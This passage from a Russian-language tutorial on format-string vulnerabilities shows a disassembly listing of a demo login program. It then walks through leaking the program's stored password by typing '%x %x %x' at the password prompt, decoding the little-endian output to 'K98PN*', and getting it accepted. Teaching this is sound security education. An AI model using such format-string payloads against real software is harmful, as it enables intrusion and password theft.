·.text:0040109D
·.text:004010A2 lea ecx, [ebp+var_34]
·.text:004010A2
·.text:004010A5 push ecx
·.text:004010A5
·.text:004010A6 call _sprintf
·.text:004010A6
·.text:004010AB add esp, 0Ch
·.text:004010AB;
·.text:004010AE jmp short loc_0_4010C1
·.text:004010B0; ---------------------------------------------------------------------------
·.text:004010B0
·.text:004010B0 loc_0_4010B0:; CODE XREF: main+97j
·.text:004010B0 push offset aPasswordOk; "Password ok\n"
·.text:004010B0;
·.text:004010B5 lea edx, [ebp+var_34]
·.text:004010B5
·.text:004010B8 push edx
·.text:004010B8
·.text:004010B9 call _sprintf
·.text:004010B9
·.text:004010BE add esp, 8
·.text:004010BE
·.text:004010C1
·.text:004010C1 loc_0_4010C1:; CODE XREF: main+AEj
·.text:004010C1 lea eax, [ebp+var_34]
·.text:004010C1
·.text:004010C4 push eax
·.text:004010C4
·.text:004010C4
·.text:004010C4; -0x04 var_34 (buff)
·.text:004010C4; 0x00 var_54 (_pass)
·.text:004010C4; -0x10 var_44 (pass)
·.text:004010C4; -0x20 var_34 (buff)
·.text:004010C4; -0x40 var_14 (psw)
·.text:004010C4; -0x44 var_10 (user)
·.text:004010C5 call _printf
·.text:004010C5
·.text:004010CA add esp, 4
·.text:004010CA
·.text:004010CD
·.text:004010CD loc_0_4010CD:; CODE XREF: main+2Ej
·.text:004010CD mov esp, ebp
·.text:004010CD
·.text:004010CF pop ebp
·.text:004010CF
·.text:004010D0 retn
·.text:004010D0
·.text:004010D0 main endp
Таким образом, состояние стека на момент вызова функции pritnf следующее (передаваемый аргумент выделен жирным шрифтом):
· -0x04 var_34 (buff)
· 0x00 var_54 (_pass)
· -0x10 var_44 (pass)
· -0x20 var_34 (buff)
· -0x40 var_14 (psw)
· -0x44 var_10 (user)
Если спецификаторов окажется больше, чем параметров, то функция начнет читать… содержимое буфера, в котором находится оригинальный пароль! По чистой случайности он оказался на верхушке стека, но даже если бы он был расположен ниже, это бы не изменило положения вещей, поскольку функции “printf “доступен весь кадр стека.
В программе функция вызывается без спецификаторов «printf( amp;buff[0])», но, ей передается указатель на начало буфера buff, который содержит сырую, не фильтрованную строку, введенную пользователем в качестве пароля, а она может содержать все что угодно, в том числе и спецификаторы.
Следующий эксперимент демонстрирует, как можно использовать такую ошибку программиста для проникновения в систему (то есть, подсматривания эталонного пароля, считанного из файла):
· buff.printf.exe
· printf bug demo
· Login:kpnc
· Passw:%x %x %x
· Invalid password: 5038394b a2a4e 2f4968
Для «расшифровки» ответа программы необходимо перевернуть каждое двойное слово, поскольку в микропроцессорах Intel младшие байты располагаются по меньшим адресам. В результате этого получается следующее:
Таким образом, искомый пароль равен “K98PN*”. Если ввести его в программу (с соблюдением регистра), то результат ее работы должен выглядеть так:
· buff.printf.exe
· printf bug demo
· Login:kpnc
· Passw:K98PN*
· Password ok
Попытка использования спецификатора “%s” приведет вовсе не к выводу строки в удобно читаемом виде, а аварийному завершению приложения. Это продемонстрировано на рисунке, приведенном ниже: